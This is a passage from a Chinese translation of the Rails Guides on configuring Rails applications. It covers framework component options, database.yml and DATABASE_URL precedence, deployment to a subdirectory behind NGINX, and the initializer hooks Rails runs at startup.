  • config.active_record.timestamped_migrations 控制迁移使用整数还是时间戳编号。默认为 true,使用时间戳。如果有多个开发者共同开发同一个应用,建议这么设置。

  • +
  • config.active_record.lock_optimistically 控制 Active Record 是否使用乐观锁。默认为 true

  • +
  • config.active_record.cache_timestamp_format 控制缓存键中时间戳的格式。默认为 :nsec

  • +
  • config.active_record.record_timestamps 是个布尔值选项,控制 createupdate 操作是否更新时间戳。默认值为 true

  • +
  • config.active_record.partial_writes 是个布尔值选项,控制是否使用部分写入(partial write,即更新时是否只设定有变化的属性)。注意,使用部分写入时,还应该使用乐观锁(config.active_record.lock_optimistically),因为并发更新可能写入过期的属性。默认值为 true

  • +
  • config.active_record.maintain_test_schema 是个布尔值选项,控制 Active Record 是否应该在运行测试时让测试数据库的模式与 db/schema.rb(或 db/structure.sql)保持一致。默认为 true

  • +
  • config.active_record.dump_schema_after_migration 是个旗标,控制运行迁移后是否转储模式(db/schema.rbdb/structure.sql)。生成 Rails 应用时,config/environments/production.rb 文件中把它设为 false。如果不设定这个选项,默认为 true

  • +
  • config.active_record.dump_schemas 控制运行 db:structure:dump 任务时转储哪些数据库模式。可用的值有::schema_search_path(默认),转储 schema_search_path 列出的全部模式;:all,不考虑 schema_search_path,始终转储全部模式;以逗号分隔的模式字符串。

  • +
  • config.active_record.belongs_to_required_by_default 是个布尔值选项,控制没有 belongs_to 关联时记录的验证是否失败。

  • +
  • config.active_record.warn_on_records_fetched_greater_than 为查询结果的数量设定一个提醒阈值。如果查询返回的记录数量超过这一阈值,在日志中记录一个提醒。可用于标识可能导致内存泛用的查询。

  • +
  • config.active_record.index_nested_attribute_errors 让嵌套的 has_many 关联错误显示索引。默认为 false

  • +
+

MySQL 适配器添加了一个配置选项:

+
    +
  • +ActiveRecord::ConnectionAdapters::Mysql2Adapter.emulate_booleans 控制 Active Record 是否把 tinyint(1) 类型的列当做布尔值。默认为 true
  • +
+

模式转储程序添加了一个配置选项:

+
    +
  • +ActiveRecord::SchemaDumper.ignore_tables 指定一个表数组,不包含在生成的模式文件中。如果 config.active_record.schema_format 的值不是 :ruby,这个设置会被忽略。
  • +
+

3.7 配置 Action Controller

config.action_controller 包含众多配置选项:

+
    +
  • config.action_controller.asset_host 设定静态资源的主机。不使用应用自身伺服静态资源,而是通过 CDN 伺服时设定。

  • +
  • config.action_controller.perform_caching 配置应用是否使用 Action Controller 组件提供的缓存功能。默认在开发环境中为 false,在生产环境中为 true

  • +
  • config.action_controller.default_static_extension 配置缓存页面的扩展名。默认为 .html

  • +
  • config.action_controller.include_all_helpers 配置视图辅助方法在任何地方都可用,还是只在相应的控制器中可用。如果设为 falseUsersHelper 模块中的方法只在 UsersController 的视图中可用。如果设为 trueUsersHelper 模块中的方法在任何地方都可用。默认的行为(不明确设为 truefalse)是视图辅助方法在每个控制器中都可用。

  • +
  • config.action_controller.logger 接受符合 Log4r 接口的日志记录器,或者默认的 Ruby Logger 类,用于记录 Action Controller 的信息。设为 nil 时禁用日志。

  • +
  • config.action_controller.request_forgery_protection_token 设定请求伪造的令牌参数名称。调用 protect_from_forgery 默认把它设为 :authenticity_token

  • +
  • config.action_controller.allow_forgery_protection 启用或禁用 CSRF 防护。在测试环境中默认为 false,其他环境默认为 true

  • +
  • config.action_controller.forgery_protection_origin_check 配置是否检查 HTTP Origin 首部与网站的源一致,作为一道额外的 CSRF 防线。

  • +
  • config.action_controller.per_form_csrf_tokens 控制 CSRF 令牌是否只在生成它的方法(动作)中有效。

  • +
  • config.action_controller.relative_url_root 用于告诉 Rails 你把应用部署到子目录中。默认值为 ENV['RAILS_RELATIVE_URL_ROOT']

  • +
  • config.action_controller.permit_all_parameters 设定默认允许批量赋值全部参数。默认值为 false

  • +
  • config.action_controller.action_on_unpermitted_parameters 设定在发现没有允许的参数时记录日志还是抛出异常。设为 :log:raise 时启用。开发和测试环境的默认值是 :log,其他环境的默认值是 false

  • +
  • config.action_controller.always_permitted_parameters 设定一个参数白名单列表,默认始终允许。默认值是 ['controller', 'action']

  • +
+

3.8 配置 Action Dispatch

+
    +
  • config.action_dispatch.session_store 设定存储会话数据的存储器。默认为 :cookie_store;其他有效的值包括 :active_record_store:mem_cache_store 或自定义类的名称。

  • +
  • +

    config.action_dispatch.default_headers 的值是一个散列,设定每个响应默认都有的 HTTP 首部。默认定义的首部有:

    +
    +
    +config.action_dispatch.default_headers = {
    +  'X-Frame-Options' => 'SAMEORIGIN',
    +  'X-XSS-Protection' => '1; mode=block',
    +  'X-Content-Type-Options' => 'nosniff'
    +}
    +
    +
    +
    +
  • +
  • config.action_dispatch.default_charset 指定渲染时使用的默认字符集。默认为 nil

  • +
  • config.action_dispatch.tld_length 设定应用的 TLD(top-level domain,顶级域名)长度。默认为 1

  • +
  • config.action_dispatch.http_auth_salt 设定 HTTP Auth 的盐值。默认为 'http authentication'

  • +
  • config.action_dispatch.signed_cookie_salt 设定签名 cookie 的盐值。默认为 'signed cookie'

  • +
  • config.action_dispatch.encrypted_cookie_salt 设定加密 cookie 的盐值。默认为 'encrypted cookie'

  • +
  • config.action_dispatch.encrypted_signed_cookie_salt 设定签名加密 cookie 的盐值。默认为 'signed encrypted cookie'

  • +
  • config.action_dispatch.perform_deep_munge 配置是否在参数上调用 deep_munge 方法。详情参见 安全指南。默认为 true

  • +
  • +

    config.action_dispatch.rescue_responses 设定异常与 HTTP 状态的对应关系。其值为一个散列,指定异常和状态之间的映射。默认的定义如下:

    +
    +
    +config.action_dispatch.rescue_responses = {
    +  'ActionController::RoutingError'              => :not_found,
    +  'AbstractController::ActionNotFound'          => :not_found,
    +  'ActionController::MethodNotAllowed'          => :method_not_allowed,
    +  'ActionController::UnknownHttpMethod'         => :method_not_allowed,
    +  'ActionController::NotImplemented'            => :not_implemented,
    +  'ActionController::UnknownFormat'             => :not_acceptable,
    +  'ActionController::InvalidAuthenticityToken'  => :unprocessable_entity,
    +  'ActionController::InvalidCrossOriginRequest' => :unprocessable_entity,
    +  'ActionDispatch::ParamsParser::ParseError'    => :bad_request,
    +  'ActionController::BadRequest'                => :bad_request,
    +  'ActionController::ParameterMissing'          => :bad_request,
    +  'Rack::QueryParser::ParameterTypeError'       => :bad_request,
    +  'Rack::QueryParser::InvalidParameterError'    => :bad_request,
    +  'ActiveRecord::RecordNotFound'                => :not_found,
    +  'ActiveRecord::StaleObjectError'              => :conflict,
    +  'ActiveRecord::RecordInvalid'                 => :unprocessable_entity,
    +  'ActiveRecord::RecordNotSaved'                => :unprocessable_entity
    +}
    +
    +
    +
    +

    没有配置的异常映射为 500 Internal Server Error。

    +
  • +
  • ActionDispatch::Callbacks.before 接受一个代码块,在请求之前运行。

  • +
  • ActionDispatch::Callbacks.to_prepare 接受一个块,在 ActionDispatch::Callbacks.before 之后、请求之前运行。在开发环境中每个请求都会运行,但在生产环境或 cache_classes 设为 true 的环境中只运行一次。

  • +
  • ActionDispatch::Callbacks.after 接受一个代码块,在请求之后运行。

  • +
+

3.9 配置 Action View

config.action_view 有一些配置选项:

+
    +
  • +

    config.action_view.field_error_proc 提供一个 HTML 生成器,用于显示 Active Model 抛出的错误。默认为:

    +
    +
    +Proc.new do |html_tag, instance|
    +  %Q(<div class="field_with_errors">#{html_tag}</div>).html_safe
    +end
    +
    +
    +
    +
  • +
  • config.action_view.default_form_builder 告诉 Rails 默认使用哪个表单构造器。默认为 ActionView::Helpers::FormBuilder。如果想在初始化之后加载表单构造器类,把值设为一个字符串。

  • +
  • config.action_view.logger 接受符合 Log4r 接口的日志记录器,或者默认的 Ruby Logger 类,用于记录 Action View 的信息。设为 nil 时禁用日志。

  • +
  • config.action_view.erb_trim_mode 让 ERB 使用修剪模式。默认为 '-',使用 <%= -%><%= =%> 时裁掉尾部的空白和换行符。详情参见 Erubis 的文档

  • +
  • config.action_view.embed_authenticity_token_in_remote_forms 设定具有 remote: true 选项的表单中 authenticity_token 的默认行为。默认设为 false,即远程表单不包含 authenticity_token,对表单做片段缓存时可以这么设。远程表单从 meta 标签中获取真伪令牌,因此除非要支持没有 JavaScript 的浏览器,否则不应该内嵌在表单中。如果想支持没有 JavaScript 的浏览器,可以在表单选项中设定 authenticity_token: true,或者把这个配置设为 true

  • +
  • +

    config.action_view.prefix_partial_path_with_controller_namespace 设定渲染嵌套在命名空间中的控制器时是否在子目录中寻找局部视图。例如,Admin::ArticlesController 渲染这个模板:

    +
    +
    +<%= render @article %>
    +
    +
    +
    +

    默认设置是 true,使用局部视图 /admin/articles/_article.erb。设为 false 时,渲染 /articles/_article.erb——这与渲染没有放入命名空间中的控制器一样,例如 ArticlesController

    +
  • +
  • config.action_view.raise_on_missing_translations 设定缺少翻译时是否抛出错误。

  • +
  • config.action_view.automatically_disable_submit_tag 设定点击提交按钮(submit_tag)时是否自动将其禁用。默认为 true

  • +
  • config.action_view.debug_missing_translation 设定是否把缺少的翻译键放在 <span> 标签中。默认为 true

  • +
+

3.10 配置 Action Mailer

config.action_mailer 有一些配置选项:

+
    +
  • config.action_mailer.logger 接受符合 Log4r 接口的日志记录器,或者默认的 Ruby Logger 类,用于记录 Action Mailer 的信息。设为 nil 时禁用日志。

  • +
  • +

    config.action_mailer.smtp_settings 用于详细配置 :smtp 发送方法。值是一个选项散列,包含下述选项:

    +
      +
    • :address:设定远程邮件服务器的地址。默认为 localhost。
    • +
    • :port:如果邮件服务器不在 25 端口上(很少发生),可以修改这个选项。
    • +
    • :domain:如果需要指定 HELO 域名,通过这个选项设定。
    • +
    • :user_name:如果邮件服务器需要验证身份,通过这个选项设定用户名。
    • +
    • :password:如果邮件服务器需要验证身份,通过这个选项设定密码。
    • +
    • :authentication:如果邮件服务器需要验证身份,要通过这个选项设定验证类型。这个选项的值是一个符号,可以是 :plain:login:cram_md5
    • +
    +
  • +
  • +

    config.action_mailer.sendmail_settings 用于详细配置 sendmail 发送方法。值是一个选项散列,包含下述选项:

    +
      +
    • :location:sendmail 可执行文件的位置。默认为 /usr/sbin/sendmail
    • +
    • :arguments:命令行参数。默认为 -i
    • +
    +
  • +
  • config.action_mailer.raise_delivery_errors 指定无法发送电子邮件时是否抛出错误。默认为 true

  • +
  • config.action_mailer.delivery_method 设定发送方法,默认为 :smtp。详情参见 配置 Action Mailer

  • +
  • config.action_mailer.perform_deliveries 指定是否真的发送邮件,默认为 true。测试时建议设为 false

  • +
  • +

    config.action_mailer.default_options 配置 Action Mailer 的默认值。用于为每封邮件设定 fromreply_to 等选项。设定的默认值为:

    +
    +
    +mime_version:  "1.0",
    +charset:       "UTF-8",
    +content_type: "text/plain",
    +parts_order:  ["text/plain", "text/enriched", "text/html"]
    +
    +
    +
    +

    若想设定额外的选项,使用一个散列:

    +
    +
    +config.action_mailer.default_options = {
    +  from: "noreply@example.com"
    +}
    +
    +
    +
    +
  • +
  • +

    config.action_mailer.observers 注册观测器(observer),发送邮件时收到通知。

    +
    +
    +config.action_mailer.observers = ["MailObserver"]
    +
    +
    +
    +
  • +
  • +

    config.action_mailer.interceptors 注册侦听器(interceptor),在发送邮件前调用。

    +
    +
    +config.action_mailer.interceptors = ["MailInterceptor"]
    +
    +
    +
    +
  • +
  • +

    config.action_mailer.preview_path 指定邮件程序预览的位置。

    +
    +
    +config.action_mailer.preview_path = "#{Rails.root}/lib/mailer_previews"
    +
    +
    +
    +
  • +
  • +

    config.action_mailer.show_previews 启用或禁用邮件程序预览。开发环境默认为 true

    +
    +
    +config.action_mailer.show_previews = false
    +
    +
    +
    +
  • +
  • config.action_mailer.deliver_later_queue_name 设定邮件程序的队列名称。默认为 mailers

  • +
  • config.action_mailer.perform_caching 指定是否片段缓存邮件模板。在所有环境中默认为 false

  • +
+

3.11 配置 Active Support

Active Support 有一些配置选项:

+
    +
  • config.active_support.bare 指定在启动 Rails 时是否加载 active_support/all。默认为 nil,即加载 active_support/all

  • +
  • config.active_support.test_order 设定执行测试用例的顺序。可用的值是 :random:sorted。对新生成的应用来说,在 config/environments/test.rb 文件中设为 :random。如果应用没指定测试顺序,在 Rails 5.0 之前默认为 :sorted,之后默认为 :random

  • +
  • config.active_support.escape_html_entities_in_json 指定在 JSON 序列化中是否转义 HTML 实体。默认为 true

  • +
  • config.active_support.use_standard_json_time_format 指定是否把日期序列化成 ISO 8601 格式。默认为 true

  • +
  • config.active_support.time_precision 设定 JSON 编码的时间值的精度。默认为 3

  • +
  • ActiveSupport.halt_callback_chains_on_return_false 指定是否可以通过在前置回调中返回 false 停止 Active Record 和 Active Model 回调链。设为 false 时,只能通过 throw(:abort) 停止回调链。设为 true 时,可以通过返回 false 停止回调链(Rails 5 之前版本的行为),但是会发出弃用提醒。在弃用期内默认为 true。新的 Rails 5 应用会生成一个名为 callback_terminator.rb 的初始化文件,把值设为 false。执行 rails app:update 命令时不会添加这个文件,因此把旧应用升级到 Rails 5 后依然可以通过返回 false 停止回调链,不过会显示弃用提醒,提示用户升级代码。

  • +
  • ActiveSupport::Logger.silencer 设为 false 时静默块的日志。默认为 true

  • +
  • ActiveSupport::Cache::Store.logger 指定缓存存储操作使用的日志记录器。

  • +
  • ActiveSupport::Deprecation.behavior 的作用与 config.active_support.deprecation 相同,用于配置 Rails 弃用提醒的行为。

  • +
  • ActiveSupport::Deprecation.silence 接受一个块,块里的所有弃用提醒都静默。

  • +
  • ActiveSupport::Deprecation.silenced 设定是否显示弃用提醒。

  • +
+

3.12 配置 Active Job

config.active_job 提供了下述配置选项:

+
    +
  • +

    config.active_job.queue_adapter 设定队列后端的适配器。默认的适配器是 :async。最新的内置适配器参见 ActiveJob::QueueAdapters 的 API 文档

    +
    +
    +# 要把适配器的 gem 写入 Gemfile
    +# 请参照适配器的具体安装和部署说明
    +config.active_job.queue_adapter = :sidekiq
    +
    +
    +
    +
  • +
  • +

    config.active_job.default_queue_name 用于修改默认的队列名称。默认为 "default"

    +
    +
    +config.active_job.default_queue_name = :medium_priority
    +
    +
    +
    +
  • +
  • +

    config.active_job.queue_name_prefix 用于为所有作业设定队列名称的前缀(可选)。默认为空,不使用前缀。

    +

    做下述配置后,在生产环境中运行时把指定作业放入 production_high_priority 队列中:

    +
    +
    +config.active_job.queue_name_prefix = Rails.env
    +
    +
    +
    +
    +
    +class GuestsCleanupJob < ActiveJob::Base
    +  queue_as :high_priority
    +  #....
    +end
    +
    +
    +
    +
  • +
  • +

    config.active_job.queue_name_delimiter 的默认值是 '_'。如果设定了 queue_name_prefix,使用 queue_name_delimiter 连接前缀和队列名。

    +

    下述配置把指定作业放入 video_server.low_priority 队列中:

    +
    +
    +# 设定了前缀才会使用分隔符
    +config.active_job.queue_name_prefix = 'video_server'
    +config.active_job.queue_name_delimiter = '.'
    +
    +
    +
    +
    +
    +class EncoderJob < ActiveJob::Base
    +  queue_as :low_priority
    +  #....
    +end
    +
    +
    +
    +
  • +
  • config.active_job.logger 接受符合 Log4r 接口的日志记录器,或者默认的 Ruby Logger 类,用于记录 Action Job 的信息。在 Active Job 类或实例上调用 logger 方法可以获取日志记录器。设为 nil 时禁用日志。

  • +
+

3.13 配置 Action Cable

+
    +
  • config.action_cable.url 的值是一个 URL 字符串,指定 Action Cable 服务器的地址。如果 Action Cable 服务器与主应用的服务器不同,可以使用这个选项。

  • +
  • config.action_cable.mount_path 的值是一个字符串,指定把 Action Cable 挂载在哪里,作为主服务器进程的一部分。默认为 /cable。可以设为 nil,不把 Action Cable 挂载为常规 Rails 服务器的一部分。

  • +
+

3.14 配置数据库

几乎所有 Rails 应用都要与数据库交互。可以通过环境变量 ENV['DATABASE_URL']config/database.yml 配置文件中的信息连接数据库。

config/database.yml 文件中可以指定访问数据库所需的全部信息:

+
+development:
+  adapter: postgresql
+  database: blog_development
+  pool: 5
+
+
+
+

此时使用 postgresql 适配器连接名为 blog_development 的数据库。这些信息也可以存储在一个 URL 中,然后通过环境变量提供,如下所示:

+
+> puts ENV['DATABASE_URL']
+postgresql://localhost/blog_development?pool=5
+
+
+
+

config/database.yml 文件分成三部分,分别对应 Rails 默认支持的三个环境:

+
    +
  • development 环境在开发(本地)电脑中使用,手动与应用交互。

  • +
  • test 环境用于运行自动化测试。

  • +
  • production 环境在把应用部署到线上时使用。

  • +
+

如果愿意,可以在 config/database.yml 文件中指定连接 URL:

+
+development:
+  url: postgresql://localhost/blog_development?pool=5
+
+
+
+

config/database.yml 文件中可以包含 ERB 标签 <%= %>。这个标签中的内容作为 Ruby 代码执行。可以使用这个标签从环境变量中获取数据,或者执行计算,生成所需的连接信息。

无需自己动手更新数据库配置。如果查看应用生成器的选项,你会发现其中一个名为 --database。通过这个选项可以从最常使用的关系数据库中选择一个。甚至还可以重复运行这个生成器:cd .. && rails new blog --database=mysql。同意重写 config/database.yml 文件后,应用的配置会针对 MySQL 更新。常见的数据库连接示例参见下文。

3.15 连接配置的优先级

因为有两种配置连接的方式(使用 config/database.yml 文件或者一个环境变量),所以要明白二者之间的关系。

如果 config/database.yml 文件为空,而 ENV['DATABASE_URL'] 有值,那么 Rails 使用环境变量连接数据库:

+
+$ cat config/database.yml
+
+$ echo $DATABASE_URL
+postgresql://localhost/my_database
+
+
+
+

如果在 config/database.yml 文件中做了配置,而 ENV['DATABASE_URL'] 没有值,那么 Rails 使用这个文件中的信息连接数据库:

+
+$ cat config/database.yml
+development:
+  adapter: postgresql
+  database: my_database
+  host: localhost
+
+$ echo $DATABASE_URL
+
+
+
+

如果 config/database.yml 文件中做了配置,而且 ENV['DATABASE_URL'] 有值,Rails 会把二者合并到一起。为了更好地理解,必须看些示例。

如果连接信息有重复,环境变量中的信息优先级高:

+
+$ cat config/database.yml
+development:
+  adapter: sqlite3
+  database: NOT_my_database
+  host: localhost
+
+$ echo $DATABASE_URL
+postgresql://localhost/my_database
+
+$ bin/rails runner 'puts ActiveRecord::Base.configurations'
+{"development"=>{"adapter"=>"postgresql", "host"=>"localhost", "database"=>"my_database"}}
+
+
+
+

可以看出,适配器、主机和数据库与 ENV['DATABASE_URL'] 中的信息匹配。

如果信息无重复,都是唯一的,遇到冲突时还是环境变量中的信息优先级高:

+
+$ cat config/database.yml
+development:
+  adapter: sqlite3
+  pool: 5
+
+$ echo $DATABASE_URL
+postgresql://localhost/my_database
+
+$ bin/rails runner 'puts ActiveRecord::Base.configurations'
+{"development"=>{"adapter"=>"postgresql", "host"=>"localhost", "database"=>"my_database", "pool"=>5}}
+
+
+
+

ENV['DATABASE_URL'] 没有提供连接池数量,因此从文件中获取。而两处都有 adapter,因此 ENV['DATABASE_URL'] 中的连接信息胜出。

如果不想使用 ENV['DATABASE_URL'] 中的连接信息,唯一的方法是使用 "url" 子键指定一个 URL:

+
+$ cat config/database.yml
+development:
+  url: sqlite3:NOT_my_database
+
+$ echo $DATABASE_URL
+postgresql://localhost/my_database
+
+$ bin/rails runner 'puts ActiveRecord::Base.configurations'
+{"development"=>{"adapter"=>"sqlite3", "database"=>"NOT_my_database"}}
+
+
+
+

这里,ENV['DATABASE_URL'] 中的连接信息被忽略了。注意,适配器和数据库名称不同了。

因为在 config/database.yml 文件中可以内嵌 ERB,所以最好明确表明使用 ENV['DATABASE_URL'] 连接数据库。这在生产环境中特别有用,因为不应该把机密信息(如数据库密码)提交到源码控制系统中(如 Git)。

+
+$ cat config/database.yml
+production:
+  url: <%= ENV['DATABASE_URL'] %>
+
+
+
+

现在的行为很明确,只使用 <%= ENV['DATABASE_URL'] %> 中的连接信息。

3.15.1 配置 SQLite3 数据库

Rails 内建支持 SQLite3,这是一个轻量级无服务器数据库应用。SQLite 可能无法负担生产环境,但是在开发和测试环境中用着很好。新建 Rails 项目时,默认使用 SQLite 数据库,不过之后可以随时更换。

下面是默认配置文件(config/database.yml)中开发环境的连接信息:

+
+development:
+  adapter: sqlite3
+  database: db/development.sqlite3
+  pool: 5
+  timeout: 5000
+
+
+
+

Rails 默认使用 SQLite3 存储数据,因为它无需配置,立即就能使用。Rails 还原生支持 MySQL(含 MariaDB)和 PostgreSQL,此外还有针对其他多种数据库系统的插件。在生产环境中使用的数据库,基本上都有相应的 Rails 适配器。

3.15.2 配置 MySQL 或 MariaDB 数据库

如果选择使用 MySQL 或 MariaDB,而不是 SQLite3,config/database.yml 文件的内容稍有不同。下面是开发环境的连接信息:

+
+development:
+  adapter: mysql2
+  encoding: utf8
+  database: blog_development
+  pool: 5
+  username: root
+  password:
+  socket: /tmp/mysql.sock
+
+
+
+

如果开发数据库使用 root 用户,而且没有密码,这样配置就行了。否则,要相应地修改 development 部分的用户名和密码。

3.15.3 配置 PostgreSQL 数据库

如果选择使用 PostgreSQL,config/database.yml 文件会针对 PostgreSQL 数据库定制:

+
+development:
+  adapter: postgresql
+  encoding: unicode
+  database: blog_development
+  pool: 5
+
+
+
+

PostgreSQL 默认启用预处理语句(prepared statement)。若想禁用,把 prepared_statements 设为 false

+
+production:
+  adapter: postgresql
+  prepared_statements: false
+
+
+
+

如果启用,Active Record 默认最多为一个数据库连接创建 1000 个预处理语句。若想修改,可以把 statement_limit 设定为其他值:

+
+production:
+  adapter: postgresql
+  statement_limit: 200
+
+
+
+

预处理语句的数量越多,数据库消耗的内存越多。如果 PostgreSQL 数据库触及内存上限,尝试降低 statement_limit 的值,或者禁用预处理语句。

3.15.4 为 JRuby 平台配置 SQLite3 数据库

如果选择在 JRuby 中使用 SQLite3,config/database.yml 文件的内容稍有不同。下面是 development 部分:

+
+development:
+  adapter: jdbcsqlite3
+  database: db/development.sqlite3
+
+
+
+
3.15.5 为 JRuby 平台配置 MySQL 或 MariaDB 数据库

如果选择在 JRuby 中使用 MySQL 或 MariaDB,config/database.yml 文件的内容稍有不同。下面是 development 部分:

+
+development:
+  adapter: jdbcmysql
+  database: blog_development
+  username: root
+  password:
+
+
+
+
3.15.6 为 JRuby 平台配置 PostgreSQL 数据库

如果选择在 JRuby 中使用 PostgreSQL,config/database.yml 文件的内容稍有不同。下面是 development 部分:

+
+development:
+  adapter: jdbcpostgresql
+  encoding: unicode
+  database: blog_development
+  username: blog
+  password:
+
+
+
+

请根据需要修改 development 部分的用户名和密码。

3.16 创建 Rails 环境

Rails 默认提供三个环境:开发环境、测试环境和生产环境。多数情况下,这就够用了,但有时可能需要更多环境。

比如说想要一个服务器,镜像生产环境,但是只用于测试。这样的服务器通常称为“交付准备服务器”。如果想为这个服务器创建名为“staging”的环境,只需创建 config/environments/staging.rb 文件。请参照 config/environments 目录中的现有文件,根据需要修改。

自己创建的环境与默认的没有区别,启动服务器使用 rails server -e staging,启动控制台使用 rails console stagingRails.env.staging? 也能正常使用,等等。

3.17 部署到子目录(URL 相对于根路径)

默认情况下,Rails 预期应用在根路径(即 /)上运行。本节说明如何在目录中运行应用。

假设我们想把应用部署到“/app1”。Rails 要知道这个目录,这样才能生成相应的路由:

+
+config.relative_url_root = "/app1"
+
+
+
+

此外,也可以设定 RAILS_RELATIVE_URL_ROOT 环境变量。

现在生成链接时,Rails 会在前面加上“/app1”。

3.17.1 使用 Passenger

使用 Passenger 在子目录中运行应用很简单。相关配置参阅 Passenger 手册

3.17.2 使用反向代理

使用反向代理部署应用比传统方式有明显的优势:对服务器有更好的控制,因为应用所需的组件可以分层。

有很多现代的 Web 服务器可以用作代理服务器,用来均衡第三方服务器,如缓存服务器或应用服务器。

Unicorn 就是这样的应用服务器,在反向代理后面运行。

此时,要配置代理服务器(NGINX、Apache,等等),让它接收来自应用服务器(Unicorn)的连接。Unicorn 默认监听 8080 端口上的 TCP 连接,不过可以更换端口,或者换用套接字。

详情参阅 Unicorn 的自述文件,还可以了解背后的哲学

配置好应用服务器之后,还要相应配置 Web 服务器,把请求代理过去。例如,NGINX 的配置可能包含:

+
+upstream application_server {
+  server 0.0.0.0:8080
+}
+
+server {
+  listen 80;
+  server_name localhost;
+
+  root /root/path/to/your_app/public;
+
+  try_files $uri/index.html $uri.html @app;
+
+  location @app {
+    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+    proxy_set_header Host $http_host;
+    proxy_redirect off;
+    proxy_pass http://application_server;
+  }
+
+  # 其他配置
+}
+
+
+
+

最新的信息参阅 NGINX 的文档

4 Rails 环境设置

Rails 的某些部分还可以通过环境变量在外部配置。Rails 能识别下述几个环境变量:

+
    +
  • ENV["RAILS_ENV"] 定义在哪个环境(生产环境、开发环境、测试环境,等等)中运行 Rails。

  • +
  • ENV["RAILS_RELATIVE_URL_ROOT"]部署到子目录中时供路由代码识别 URL。

  • +
  • ENV["RAILS_CACHE_ID"]ENV["RAILS_APP_VERSION"] 供 Rails 的缓存代码生成扩张的缓存键。这样可以在同一个应用中使用多个单独的缓存。

  • +
+

5 使用初始化脚本文件

加载完框架和应用依赖的 gem 之后,Rails 开始加载初始化脚本。初始化脚本是 Ruby 文件,存储在应用的 config/initializers 目录中。可以在初始化脚本中存放应该于加载完框架和 gem 之后设定的配置,例如配置各部分的设置项目的选项。

如果愿意,可以使用子文件夹组织初始化脚本,Rails 会自上而下查找整个文件夹层次结构。

如果初始化脚本有顺序要求,可以通过名称控制加载顺序。初始化脚本文件按照路径的字母表顺序加载。例如,01_critical.rb02_normal.rb 前面加载。

6 初始化事件

Rails 有 5 个初始化事件(按运行顺序列出):

+
    +
  • before_configuration:在应用常量继承 Rails::Application 时立即运行。config 调用在此之前执行。

  • +
  • before_initialize:直接在应用初始化过程之前运行,与 Rails 初始化过程靠近开头的 :bootstrap_hook 初始化脚本一起运行。

  • +
  • to_prepare:在所有 Railtie(包括应用自身)的初始化脚本运行结束之后、及早加载和构架中间件栈之前运行。更重要的是,在开发环境中每次请求都运行,而在生产和测试环境只运行一次(在启动过程中)。

  • +
  • before_eager_load:在及早加载之前直接运行。这是生产环境的默认行为,开发环境则不然。

  • +
  • after_initialize:在应用初始化之后、config/initializers 中的初始化脚本都运行完毕后直接运行。

  • +
+

若想为这些钩子定义事件,在 Rails::ApplicationRails::RailtieRails::Engine 子类中使用块句法:

+
+module YourApp
+  class Application < Rails::Application
+    config.before_initialize do
+      # 在这编写初始化代码
+    end
+  end
+end
+
+
+
+

此外,还可以通过 Rails.application 对象的 config 方法定义:

+
+Rails.application.config.before_initialize do
+  # 在这编写初始化代码
+end
+
+
+
+

调用 after_initialize 块时,应用的某些部分,尤其是路由,尚不可用。

6.1 Rails::Railtie#initializer +

有几个在启动时运行的 Rails 初始化脚本使用 Rails::Railtie 对象的 initializer 方法定义。下面以 Action Controller 中的 set_helpers_path 初始化脚本为例:

+
+initializer "action_controller.set_helpers_path" do |app|
+  ActionController::Helpers.helpers_path = app.helpers_paths
+end
+
+
+
+

initializer 方法接受三个参数,第一个是初始化脚本的名称,第二个是选项散列(上例中没有),第三个是一个块。选项散列的 :before 键指定在哪个初始化脚本之前运行,:after 键指定在哪个初始化脚本之后运行。

initializer 方法定义的初始化脚本按照定义的顺序运行,除非指定了 :before:after 键。

只要符合逻辑,可以设定一个初始化脚本在另一个之前或之后运行。假如有四个初始化脚本,名称分别为“one”到“four”(按照这个顺序定义)。如果定义“four”在“four”之前、“three”之后运行就不合逻辑,Rails 无法确定初始化脚本的执行顺序。

initializer 方法的块参数是应用自身的实例,因此可以像示例中那样使用 config 方法访问配置。

因为 Rails::Application(间接)继承自 Rails::Railtie,所以可以在 config/application.rb 文件中使用 initializer 方法为应用定义初始化脚本。

6.2 初始化脚本

下面按定义顺序(因此以此顺序运行,除非另行说明)列出 Rails 中的全部初始化脚本:

+
    +
  • load_environment_hook:一个占位符,让 :load_environment_config 在此之前运行。

  • +
  • load_active_support:引入 active_support/dependencies,设置 Active Support 的基本功能。如果 config.active_support.bare 为假值(默认),引入 active_support/all

  • +
  • initialize_logger:初始化应用的日志记录器(一个 ActiveSupport::Logger 对象),可通过 Rails.logger 访问。假定在此之前的初始化脚本没有定义 Rails.logger

  • +
  • initialize_cache:如果没有设置 Rails.cache,使用 config.cache_store 的值初始化缓存,把结果存储为 Rails.cache。如果这个对象响应 middleware 方法,它的中间件插入 Rack::Runtime 之前。

  • +
  • set_clear_dependencies_hook:这个初始化脚本(仅当 cache_classes 设为 false 时运行)使用 ActionDispatch::Callbacks.after 从对象空间中删除请求过程中引用的常量,以便在后续请求中重新加载。

  • +
  • initialize_dependency_mechanism:如果 config.cache_classes 为真,配置 ActiveSupport::Dependencies.mechanism 使用 require 引入依赖,而不使用 load

  • +
  • bootstrap_hook:运行配置的全部 before_initialize 块。

  • +
  • i18n.callbacks:在开发环境中设置一个 to_prepare 回调,如果自上次请求后本地化有变,调用 I18n.reload!。在生产环境,这个回调只在第一次请求时运行。

  • +
  • active_support.deprecation_behavior:设定各个环境报告弃用的方式,在开发环境中默认为 :log,在生产环境中默认为 :notify,在测试环境中默认为 :stderr。如果没为 config.active_support.deprecation 设定一个值,这个初始化脚本提示用户在当前环境的配置文件(config/environments 目录里)中设定。可以设为一个数组。

  • +
  • active_support.initialize_time_zone:根据 config.time_zone 设置为应用设定默认的时区。默认为“UTC”。

  • +
  • active_support.initialize_beginning_of_week:根据 config.beginning_of_week 设置为应用设定一周从哪一天开始。默认为 :monday

  • +
  • active_support.set_configs:使用 config.active_support 设置 Active Support,把方法名作为设值方法发给 ActiveSupport,并传入选项的值。

  • +
  • action_dispatch.configure:配置 ActionDispatch::Http::URL.tld_length,设为 config.action_dispatch.tld_length 的值。

  • +
  • action_view.set_configs:使用 config.action_view 设置 Action View,把方法名作为设值方法发给 ActionView::Base,并传入选项的值。

  • +
  • action_controller.assets_config:如果没有明确配置,把 config.actions_controller.assets_dir 设为应用的 public 目录。

  • +
  • action_controller.set_helpers_path:把 Action Controller 的 helpers_path 设为应用的 helpers_path

  • +
  • action_controller.parameters_config:为 ActionController::Parameters 配置健壮参数选项。

  • +
  • action_controller.set_configs:使用 config.action_controller 设置 Action Controller,把方法名作为设值方法发给 ActionController::Base,并传入选项的值。

  • +
